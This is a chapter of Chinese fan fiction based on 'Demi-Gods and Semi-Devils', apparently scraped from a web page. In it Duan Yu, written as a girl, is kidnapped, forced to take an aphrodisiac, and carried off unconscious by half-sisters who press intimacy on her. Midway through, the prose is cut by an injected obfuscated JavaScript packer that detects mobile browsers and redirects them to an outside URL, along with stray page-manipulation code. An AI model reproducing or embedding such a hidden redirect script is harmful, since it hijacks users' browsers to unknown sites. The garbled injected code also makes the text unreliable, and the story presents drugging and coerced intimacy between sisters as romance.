这一声呼喊令钟灵与木婉清同时向他看去,段正淳看见墙头竟多了一名少女,做彝人装束,眉目灵动,姿容明艳,与记忆之中一张娇美的面孔重合,当即心头一震:“你是……” 钟灵脸上闪过一丝戾色,道:“木姐姐,你们父女今日团聚,我就不打扰你的好事了。” 木婉清怒不可遏,一剑朝她胸前刺去:“再多说一句我就杀了你!你以为你和我有什么不同么?”钟灵厌恶地看了段正淳一眼,淡淡道:“你说的话我听不懂。” 正要从墙头跃下,忽然听见北面传来一声惊叫,段钰道:“放开我!你要带我去哪里?” 一人猖狂大笑,道:“好徒儿,师父来接你了!快快磕头拜我为师!” 钟灵与木婉清同时收手,道:“钰儿!” 南海鳄神提着段钰飞纵上墙,段正淳见女儿为此人所掳,并起剑指向南海鳄神点去。忽有一女子当空跃下,手持双刀,刀身细如柳叶,其上蓝光盈盈。段正淳一惊住手,闪身避让,道:“红棉,是你么?” 女子神色凶狠:“是我!” 木婉清道:“师父!” 只见西面屋顶又出现了一名身着绿色绸纱的女子,钟灵见状道:“妈!” 钟夫人道:“灵儿,我让你来捉人,你怎地拖了这般久?” 钟灵脸色微变,转头去看段钰。段钰给南海鳄神提在手中,闻言不敢相信地看向她:“钟灵,你……” 段正淳高声唤道:“宝宝,是你么,你也来了。” 秦红棉道:“婉儿,过来。” 木婉清站定不动,道:“师父,这人说你是我妈妈,他是我爹爹,你告诉我,这是真是假。” 秦红棉厉声道:“我不是告诉过你,你父母早就死了。” 段正淳苦笑一声,道:“红棉,你这又是何苦呢?她和你年轻时生得一模一样,我没有一天不在想念你,怎会认不出来?” 秦红棉闻言泣道:“你这负心薄幸之人,你说的话我一个字也不会再相信了。” 钟夫人冷冷一笑,道:“师姊,人已在我们手里了,是时候该走了。” 段正淳忙道:“红棉,你放了钰儿,我什么事都答应你。” 秦红棉道:“好,我要你跟我走,永远都不再回王府,你答不答应?” 钟夫人柔声道:“师姊,你莫要忘了,他从前便是如此哄你的。过了几日,又回来继续做他的王爷。这些教训还不够,这次你还要上他的当吗?” 段正淳顾及女儿在场,许多话不便说出口,道:“宝宝,你何必也来为难我?” 秦红棉目光一凛,怒道:“想要我们还你女儿,就拿刀白凤的人头来换!” 段钰心中大惊,叫道:“爹,你不能答应她们,我甚么也不怕!” 一人伸手在她腰间一点,段钰半身软麻,人也随之昏睡过去。来人笑道:“这小姑娘脾气倒是倔,老三,我看你这徒弟怕是收不成了。” 来人正是叶二娘,她与一青衣人联手击退高湄与朱丹臣等人,一左一右落在钟夫人身旁。南海鳄神道:“她不拜我做师父,我就把她的头拧下来。”提着段钰转眼间奔得远了。 木婉清认出叶二娘与那青衣人,怒道:“是你们……把人还来!”正要拔剑,钟灵却按住了她的手,低声道:“别动手,想救人就听我的。” 木婉清按捺怒火,道:“师叔怎么会和他们在一起?” 钟灵道:“他们是我爹爹请来对付段正淳的帮手。”见母亲与秦红棉仍在与段正淳纠缠不休,避开众人跃下高墙,木婉清紧随其后,二人寻了个僻静之处说话。 木婉清道:“他们做什么要捉了钰儿去?” 钟灵听在耳中十分不适,忿然道:“这才几日不见,你就一口一个钰儿叫上了?” 木婉清冷冷道:“刚才没比够,你还想再打一架么?” 钟灵背过身去,半晌道:“你很喜欢她?” 若非木婉清手中暗箭被段正淳卸了,此时真想抬手射她一箭,道:“你问这个做什么,关你甚么事。” 钟灵道:“我也很喜欢她,我是不会把她让给别人的。” 木婉清拇指按在剑上,缓缓推出一寸,道:“是么,我也是这么想的。” 下一刻她陡然发难,剑铮然出鞘。钟灵早有准备,持刀挡在身前,架住了长剑,脸上笑已彻底不见了,道:“木婉清,你信不信,哪怕你我斗个两败俱伤,她也未必会再多看我们一眼。” 木婉清听出她话中另有一层意思,道:“你到底想说什么。” 钟灵一把格开她的剑,道:“现在你也和她是姊妹了,我们可是一样了。” 木婉清全身一颤,冰冷冷说道:“你以为我在乎这个?大不了我去杀了那姓段的。”言语间憎恨无比,仿佛段正淳是她此生最大的仇人。 钟灵道:“就算他现在死也迟了。”顿了顿,终于将连日心中所想吐露出来:“不管怎样,她很快就会忘了我,忘了你……看啊,她院子里种了那么多花,她会记得清哪一朵什么时候开,哪一朵是什么时候凋谢吗?因为我们是亲姊妹,她谁也不会选。” 她轻声道:“可我不想就这么被她忘了。” 木婉清一语不发,却是将剑收回了鞘中。 钟灵目光奇异地看她一眼,道:“我也不想让给你……但凭我一人,只怕救不出她来。” 木婉清道:“把人救出来之后,你要如何向师叔与钟谷主交代?” 钟灵微微一笑,语声中忽然带了三分蛊惑,神色间一片狂热,笑道:“交代?我有甚么好交代的!我们离开这里,去一个没有人的地方。天下这么大,我不信还有人能找得到我们。管他什么爹不爹娘不娘的,没了这些碍事的人,时日长了,她自然就会把这些事抛到一旁。” 木婉清冷笑道:“就凭你也想带走她?” 钟灵垂目道:“不是我,是我和你。” 9. 第 9 章 木婉清沉默许久,道:“你有什么办法不惊动旁人,在钟谷主眼皮底下带她出谷?” 钟灵知道她这便是答允与自己合作了,半身没入黑暗,回头看了木婉清一眼,示意她跟随过来,道:“我知道万劫谷下有一条密道。或许可以……” 段钰睁开眼,发觉自己躺在床榻上。起身一看,这是一间大屋,四壁光秃秃的,无门无窗,也无甚么摆设,只在墙角设有一桌,桌上放着一盏油灯。 她头痛欲裂,心想:“我这是在什么地方?”只记得在王府撞上了南海鳄神,被他捉了去,之后的事全然想不起来了。 见一缝隙有光亮透入,她走近去看,望见一株株古树挤在一起,林荫下隐有光点。想看得仔细些,伸手去推这门,却纹丝不动,掌心冰冷粗糙,她定睛一看,方知有人用一块巨石做门堵住了出口。 突然有个声音在室内响起,嘶哑难听:“你就是段正淳的女儿?” 段钰一惊,寻声望去,却见桌前坐了个长须垂胸的青袍老者,道:“你是谁?” 这青袍客睁着双眼,身躯不动,像是一尊石像。那古怪的声音又传了出来:“我是谁?” 段钰四下一看,这屋里除了她与青袍客之外再无旁人。见这人嘴唇不张,竟能发出声来,奇道:“是你在说话么?” 那声音道:“是我,又不是我。” 段钰听他语气平平,无音调起伏之变化,忽然想起曾在书中见过耍傀儡戏的手艺人会一门腹语,如此无需开口也能发声,便道:“啊,原来这就是腹语。老人家,你是甚么人,为什么会和我关在一起?” 青袍客道:“我甚么人也不是。” 段钰到桌旁坐下,道:“这里是万劫谷,是不是?”心知南海鳄神将自己捉来关在此处,多半是钟谷主含恨报复父亲,要以她为要挟,逼父亲答应甚么事。想起钟夫人与秦红棉那句‘提刀白凤人头来换’,一时对母亲的担忧超过了囚于石室的惶恐,焦灼难安,只得默默垂泪。 青袍客道:“你哭什么。” 段钰道:“我想妈妈了。” 青袍客道:“你妈妈是甚么人?” 他虽面目诡异,段钰却不觉害怕,道:“我妈妈就是我妈妈。” 青袍客道:“你妈妈除了你之外,再无别的孩儿了吗?” 段钰想起钟灵与木婉清,心中一抽,低声道:“不是的,我爹爹还有……其他孩儿。” 青袍客突然起身,段钰见他双足直垂无力,行走只靠两袖中分别伸出的一根黑铁杖。他铁杖在地一点,人便轻飘飘纵了出去,到巨石前,抬起左手以杖轻点石上,听得轰隆一声,巨石竟滚动起来,露出的缝隙刚好够一人出入。 段钰奇道:“老人家,是你把石头推开的吗?”跟在那青袍客身后,就要从缝隙穿过,突然一股劲力将她推了回去,轰隆声响起,巨石又封住了门。 她着急地去推,手臂被划出了红痕,那石头也分毫不移,见那青袍客转身要走,焦急道:“等等,快放我出去!” 青袍客道:“好生在这里呆着,等会儿我找个人来陪你。” 段钰道:“你是谁,为什么要把我关在这里?是不是钟谷主让你这么做的?” 青袍客不答,铁杖一点,人已向高处跃去。 段钰勉强稳住心神,在屋中走了一会儿,蓦然想到这室内会不会有什么暗门密道,贴着墙角搜寻了片刻,终未寻得,不甘心地坐回了床上。 她心焦不已,知道自己应该保留体力。见屋中无水也无吃食,暗道莫非是想把自己饿死在这里?思绪转换间,又枯坐许久,那巨石缝隙间投入的光也渐归黯淡,又是一天将尽。 段钰胡思乱想,一会儿是钟灵,一会儿是木婉清,终究化作满腔悔意。若当初不曾离家出走,便不会在无量山上遇见钟灵,引出后来的许多事。而然在外这些日子着实惊心动魄又异常快活,远胜于在家中一人呆着,但一想起钟灵与木婉清,胸口便闷闷作痛,心仿佛有千斤重的石块压着,令她喘不过气来。 外头忽然传来轻微的脚步声,段钰以为是那青袍客去而复返,便走到门前,从空隙间朝外看去,道:“老人家,是你么?” 外头许久无声,一人道:“是我。” 段钰微怔,钟灵站在门外,解下腰上水囊从空隙里递了进去,道:“喝水吗?” 段钰没想到来的竟然会是她。钟灵目光晦涩,似乎有千言万语,最终俯身端起了碗筷,道:“你一日没吃东西了,我来给你送饭。” 段钰没去接水囊,怔怔看着她,道:“你来我家,不是因为想见我,是钟夫人让你来捉我回谷,好用我来要挟我爹爹的,是不是?” 钟灵轻轻一笑,道:“是,我爹决意非要对付段正淳不可,我不帮他还能怎样呢?” 段钰眼睫颤动得厉害,轻声道:“你分明可以说真话的,为什么要骗我?” 钟灵眼中似有嘲意,道:“我骗了你,你恨我吗?” 段钰心中一股委屈涌了上来,一步步后退到钟灵看不见的地方,道:“我不恨你,钟灵,我以后再也不想见到你了。” 钟灵的声音似乎从很遥远的地方传来,带着古怪的意味:“我就知道……会是这样。” 段钰无心理会她话中的含义,转过身道:“你走罢,我不想和你说话。”外头好一会儿才有脚步声响起,想是钟灵走了。 段钰如释重负,退回到床前,呆望着空隙中的水囊,悄悄走过去想拿起来,手刚一碰到系绳便如火燎般慌张地收回。她身心俱疲,跪坐在地,双手捂着脸,半晌一手落在膝头,掌心纹路已被泪水浸湿了。 她到桌旁坐下,看着模糊不清的灯光,不知不觉伏在桌上睡着了。这一睡也不知过去了多久,忽闻轰隆声,段钰骤然惊醒,见一人被扔了进来,石门复又闭合。 地上那人重重咳了几声,慢慢爬了起来,段钰惊道:“……怎么是你?” 木婉清一身尘土,面色苍白,顾不上回答,咬牙按着胸口平复气息。门外青袍客的声音响起:“你们姊妹两个年纪轻轻,也无婚配,待我去为你们寻个丈夫来,娥皇女英共侍一夫,不失为一桩佳话。想来你们爹爹事后得知,定然欣慰无比。” 青袍客低低一笑,那笑声段钰听在耳中,无端打了个寒颤,道:“你折辱于我,是想让我父母因此蒙羞……你也和我爹爹有仇么?” 木婉清闻言怒极,扑向空隙,在巨石上用力捶了数下,道:“你是什么人?装神弄鬼的,有本事放我出去!” 青袍客道:“小姑娘,要怪就怪你是段正淳的女儿。你伯父段正明和我仇深似海,大理段氏的名声便是叫他给败坏的,他满口仁义道德,用心却如狼心狗肺,我偏要坏了他的清誉,让他从此在天下人面前声名荡然无存。等你们生下孩儿,便送回大理,段氏从此可就名扬天下了。” 段钰只觉得匪夷所思,上前按住木婉清的手,低声道:“别打了,你身上还有伤,他是不会放我们出去的。”又望空隙向外看了一眼,道:“老人家,虽不知你是什么人,想来你一定是恨极了我伯父与爹爹。只是我不明白,你与他们有仇,为何不正大光明到大理去寻他们?我伯父虽做了皇帝,但决不会以麾下兵马为恃,仗势欺人,自当照中原武林的规矩来。你将我们二人关押在此,随便找个男子来与我们婚配,想以此让我伯父颜面尽失,难道就能报得大仇了吗?” 青袍客道:“这就是我的事了,你听也好,不听也罢,过得两日,人自会送来。” 段钰到此时反而彻底镇定下来,扶着木婉清坐回床上,道:“是他把你捉来的么?让我看看你的伤。” 木婉清一瞬不瞬盯着她,似乎没想到段钰还愿同自己说话,目光中迸发出欣喜之意,然话未出口,忽然察觉段钰神情极静,不似昨夜那般愤怒伤心,也无半分相见的喜悦,心却陡然一沉,寒意漫了上来。 段钰查看完伤处,见裹着的纱布完好,道:“床让给你,我去那里坐着。” 木婉清沙哑道:“好。” 两人前日分明还亲密无间,如今比之陌生人还要不如,短短几步之遥,仿若隔着天堑海壑。木婉清看着她在昏光下的背影,只手扣住床沿,牵动伤势,就连手背也微微泛白。 两人各自无话,如是一夜过去,段钰伏桌一夜,肩背酸痛,起身向床榻看去。木婉清姿势仍与昨夜一样,半闭着眼坐在床边,唇色惨白,面颊带着些许不自然的潮红。段钰一惊,过去探了探她的鼻息,果然有些发烫。 木婉清轻轻看了她一眼,容色憔悴,有气无力道:“扶我到桌边坐着,小伤而已,你别管我了。” 段钰靠近了问:“你病了,你身上还有没有药?” 木婉清摇了摇头,道:“都放在黑玫瑰身上了。”她伸手要去推段钰,段钰握住她的手,觉得甚是冰凉,欲言又止道:“这样不行,你师父呢,她为什么不来救你?” 木婉清低声道:“我和师父刚到万劫谷,师叔和我师父为段……你爹的事起了争执,那个怪人突然出现,问我是不是段正淳的女儿,我师父说不是,他就把我捉来了。”又道:“这人心思歹毒,不知道你爹是怎么得罪了他的。” 段钰肩头一颤,喃喃道:“是我连累了你……如果不是因为我,你又怎么会被人抓来?” 木婉清看了她片刻,一缕乌发从颈边垂下,试探地抱了段钰一下,姿态十分小心,仿佛她是个易碎的瓷人,答道:“这样很好,我想再见你一面,早知你也在这里,就让那怪人早点把我抓来好了。” 二人奔赴无量山救钟灵时的种种似仍在眼前,如今想来却恍如隔世。短短一日,竟是天翻覆地,一切都变了模样,再也不复如初。段钰没有推开她,将她扶上床盖好被子,道:“我去看看外头有没有人,说不定他们有药。” 她到巨石空隙处向外看去,空隙间架了块木板,放了两大碗饭菜。段钰虽然腹中饥饿,有断肠散在前,宁可忍饥挨饿也不愿去尝那饭菜。张望了片刻,道:“有人在吗,我姐姐她……她身上有伤,她生病了。” 她重复了数遍也无人回应,只得回到床前去看木婉清。木婉清倦然道:“别去了,他们和你爹有仇,才不会管咱们的死活。” 段钰为她掖好被角,轻声道:“没关系的,待会我再去问问。” 木婉清很快便睡去,段钰见她眼下青黑,想是这两日都不曾好好休息。怔然出了会儿神,忽然听见铁器叩击之声传来,便走到巨石前,那青袍客手持一青瓷小瓶站在空隙边缘,段钰看那药瓶甚为眼熟,似乎是钟夫人之物,青袍客道:“你要的东西。” 段钰怕吵醒了木婉清,低声道:“多谢前辈。” 青袍客却不给她,在手里晃了晃,右手展开,掌心托着一枚药丸,递向段钰,道:“你若是肯把这药吃了,我就把东西给你。” 段钰心中了然,苦笑道:“这是毒药么?” 青袍客道:“我要杀人,何须去下毒。放心好了,这药吃了不会死人。你耽搁一分,你姐姐的内伤便重上一分,好好想一想罢!” 段钰上一次是被司空玄逼着服下断肠散,若无木婉清相救,只怕早就命丧黄泉了。思及此处,木婉清为救她甘愿被叶二娘挖去双眼那一幕又浮现在了眼前,嘴唇一抿,当即从青袍客手里拿过药毫不犹豫服下。 青袍客见她服了药,便将药瓶以铁杖托着,稳稳当当伸进了石缝里。那铁杖不过拇指粗细,在青袍客手中竟能如臂使指,段钰知道此人武功高强,就算木婉清并未负伤也绝非是他的对手。 青袍客道:“一个时辰服一枚。让你姐姐好好养伤,明日清晨,你们的丈夫就要到了。小姑娘,你猜你服下的这药是什么?” 段钰心想总归不是什么好东西,多半又是像断肠散那样的毒药,左右不过是拿捏自己罢了,道:“愿闻其详。” 青袍客道:“这药有个名字,叫作‘阴阳和合散’。”看段钰眼中迷茫,知她全然不晓男女之事。 段钰正色道:“前辈,你辱没的并非是我们,而是你自己。因为你连堂堂正正上门寻仇也不敢,只能用这等阴毒之计达成所愿。” 青袍客嘿然一笑,背过身去道:“若这也能算是阴毒,那段正明所为岂非天地不容?” 段钰心知与他争辩无用,遂不再言语。退回屋内,将药瓶打开,里头只有三枚药丸。她取来水囊,让木婉清服下一枚,半个时辰再看,果然有了起色。段钰心下大定,心知青袍客所言非虚,待三枚药丸服下,木婉清面上也有了血色,气息渐渐缓和起来。 段钰只觉得手心微微发热,无端有些焦躁。幸而这室内四壁都是大石头,比外头要阴凉许多,她背靠石壁便能缓得一缓。起初以为是思虑过重所致,但这热意不减反升,不由得口干舌燥,将水囊半袋水喝了,心火也未去多少,指尖一触面颊,烫得厉害,四肢也如浸在温水中,软绵绵的使不上力气。 段钰迷迷糊糊倚在桌前,心绪纷杂,不知那阴阳和合散到底是什么毒药,发作时的威力竟比断肠散还要厉害许多,万一日日都要这么来上一回,那就十分难熬了。她只道是青袍客衔恨报复,故意寻来这等毒药折磨自己,只得强自忍耐,盼着药性快些下去。 段钰后背出了层薄汗,恨不得脱了身上衣衫,找个湖跳下去。正苦苦煎熬之时,只听木婉清的声音从身后传来:“你怎么了?” 她手掌按在段钰背心,竟有股异样之感,段钰心剧烈一跳,腰身酥软,小腹涌起阵阵热流,忙道:“木姐姐,你好了么?” 木婉清道:“已经没事了,他们怎么肯给你药?” 段钰小小扯了个谎,道:“说不定是钟夫人让人送来的。” 段钰突然挥开她的手,道:“别碰我,你快走开!” 木婉清不理会她突如其来的抗拒,强行扳过她的肩膀。察觉到薄薄衣衫下透出的热意甚是滚烫,疑惑道:“出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160846|180626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事?” 段钰面烧得通红,微湿的睫毛频频闪动,眼中似荡漾着茫茫水光。木婉清回想起前夜二人缠绵时的情状,心头一热,拇指在她唇上来回摩挲片刻,再也忍不住了,低头吻了下去。 段钰手脚无力,仰起头时眼角更红了几分,任木婉清咬住唇舌,也提不起力气挣扎推拒。她此时面若芙蓉,眉宇间是一片靡艳之色,喘息间喃喃道:“不行……不能这样,你是我姐姐……我们是姊妹。” 木婉清目光难明地看着她,片刻后在她水光淋漓的唇上一抹,道:“是么,我不在乎。” 段钰用力咬住嘴唇,痛意唤回了些许清明,低声道:“你师父,我爹爹……”话到最后,已经是难以成声。她眼中似有痛苦挣扎,恍恍惚惚道:“我要是没有见过你就好了。” 此言一出,木婉清彻底变了脸色。段钰头脑昏沉,并未发觉,只觉浑身像是火烧一样,双腿内侧都被汗浸湿了,不得不伏在桌上抵御体内汹涌情潮。 木婉清从背后抱住她,道:“你说的不算。” 只是这么一抱,从二人相贴之处似乎燃起了熊熊大火,身上热意更是翻了不知多少倍,就连手足都微微发麻。段钰心悸不已,察觉幽香袭来,撩拨入骨,木婉清气息迫近,颈侧随之一吻落下,哭喊道:“不行,我说过了,我不要你了!” 木婉清不答,反而口中用力咬了下去。段钰吃痛,然也清醒不少,颤道:“木姐姐,我求你……别这样,好不好?” 木婉清嘴唇贴在她的耳骨旁,道:“我带你走。” 段钰越发觉得荒唐,道:“你要带我去哪里?我还有妈妈在,你难道不要你师父了吗?” 木婉清沉默良久,低声道:“钟灵说的对。”段钰疑惑地朝她看去,忽有种不祥的预感:“钟灵说了什么?”颈侧一痛,人已经晕了过去。木婉清将她抱起放落床上,坐在床前守着,到了夜半,床侧地上忽然震了震,一块石板随之掀起,现出一暗道。钟灵灰头土脸钻了出来,朝木婉清道:“快下来!” 木婉清抱起段跃下暗道,钟灵重新将出口封好,以铁链锁紧,取下石壁上的火把,与木婉清往深处走去。 木婉清道:“你来迟了。” 钟灵一脸嫌恶地拍去身上土灰,催促道:“我爹请了不少客人来,有几个胡搅蛮缠,他非要我出去见那些人,险些害我误了时辰。”又连声催促,道:“快走,我让我妈妈拖住了我爹和那几个恶人,他们一时半刻不会来这里。你的马就在谷外,今夜咱们必须离开,等他们发觉了可就来不及了。” 木婉清虽已服药,然伤势并未痊愈,低咳了几声道:“你要是来得再晚一点,我看什么都来不及了。”遂将青袍客所为简述了一番。 钟灵闻言脸色难看,道:“无耻,卑鄙无耻!你说的那怪人便是四大恶人之首,‘恶贯满盈’就是他。” 木婉清道:“钟谷主这是引狼入室。” 钟灵面上阴晴不定,发狠道:“他一心要与段正淳为敌,连我和妈妈的劝说也听不进去,我管不了他了。” 见木婉清怀里的段钰似是熟睡,指腹在她鲜红耳垂上揉捏了一下。木婉清收紧双手,将段钰紧紧搂在怀里,不悦道:“放手。” 钟灵冷冷看了她一眼,拉住段钰手臂不放,似笑非笑道:“把人给我,我知道你的马跑得快,待会你要是抢了人走我可追上不。” 木婉清不放手,钟灵更不肯放,两人僵持半晌,木婉清低头看了段钰一眼,拿过火把,把人交到了钟灵手上。 钟灵抱着段钰,如抱着失而复得的珍宝,脸上满是抑制不住的喜悦。唇角一挑,道:“她答应跟你走了吗?” 木婉清冷淡道:“没有。” 钟灵轻轻一笑,抱紧了怀里人往前大步走去,道:“这可由不得她说了算!” 这条暗道甚长,又分出许多岔道,稍一晃神便会迷失方向。纵然钟灵对此道知之甚熟,也在曲折的暗道里绕了半个时辰,方到了出口。 那暗道出口与入谷处相距不远,一眼就能望见谷外的几株大树。两匹马停在林中吃草,钟灵将段钰放上马背,紧跟着翻身而上,朝西面快马行去。 若段钰醒着,便能发现,这是通往无量山的路。木婉清追上钟灵,道:“去那里做什么?” 钟灵道:“那地方只有无量剑派和神农帮在,再向西走就是几座大山,见不到什么人烟。只要进了山里,就没人能找得到我们了。他们一定以为我们离开了云南,不会想到我们就藏在山中,过上几个月,等这些人都走了,我们再往中原去,另寻一个隐居的地方。” 二人快马疾奔,往无量山赶去。清朗月色下,夜风微凉,钟灵感觉怀里人身子愈发滚烫起来,在道旁勒马,将段钰翻了过来,见她面颊至脖颈都被染上了绯红,皱着眉试了试段钰鼻息,也是一般的灼热,惊道:“她病了?” 当即解开段钰外衫,掌心贴在她单薄的胸膛上,感觉心跳也是异常的快。然探其口舌、眼下,又不像是生病的样子。钟夫人平日在谷中研读医书,钟灵多少也知道一些,抱段钰到河边,朝木婉清道:“把水给我。”打湿帕子在段钰胸膛脖颈反复擦拭,热意却分毫未减。 木婉清半跪在河边,喂段钰喝了些水,段钰显然是渴得厉害,昏睡之中断断续续喝了不少,渐渐苏醒过来,发出一声惊喘,紧紧抓住了钟灵手臂,道:“我好难受……”气息越来越急促,恳切道:“好热,钟灵,……你把我扔进水里,很快我就会好的。”语声微弱下去,又昏沉地闭上了眼。 钟灵眼中一沉,握着她的手道:“这不是病,更像是中毒了。她到底吃了什么?” 木婉清摇头,将段钰攥紧的手指一一掰开抚平。钟灵见状用力晃了晃段钰,也不见她醒,不由有些着急。 木婉清手浸进河里,舀了点水洒在段钰脸上,段钰受惊转醒,钟灵忙道:“钰儿,你中毒了。是不是他们逼你吃了什么药?” 段钰目光茫然,像是只有三分清醒,钟灵又问了几遍,她才仿佛听懂了,张了张鲜红的嘴唇,道:“是……药丸,叫阴阳和合散。” 钟灵神色骤变,低低咒骂一声,咬牙切齿道:“不愧是‘恶贯满盈’。” 木婉清亦是心焦,劈手要将段钰从她怀里夺走,道:“现在说这些有甚么用,解药呢?” 钟灵任由她把段钰抢了过去,看着空荡荡的怀抱出了会神。木婉清细看段钰面色,察觉她背心被汗浸透了,鬓发湿淋淋贴在脖颈上,稍稍一碰她便眉头紧蹙,甚为难受的模样。木婉清生平从未这般无措过,呆怔半晌,怒道:“我要去杀了他们!” 钟灵拦住她,道:“杀人有什么用,他们也没有解药。” 木婉清道:“没有解药?” 钟灵目中晦涩,欲言又止,似有几分懊恼。她起身背对月光,面目隐没在黑暗里,双眼却微微发亮,眼瞳中带着莫名意味: “……这不是毒药。”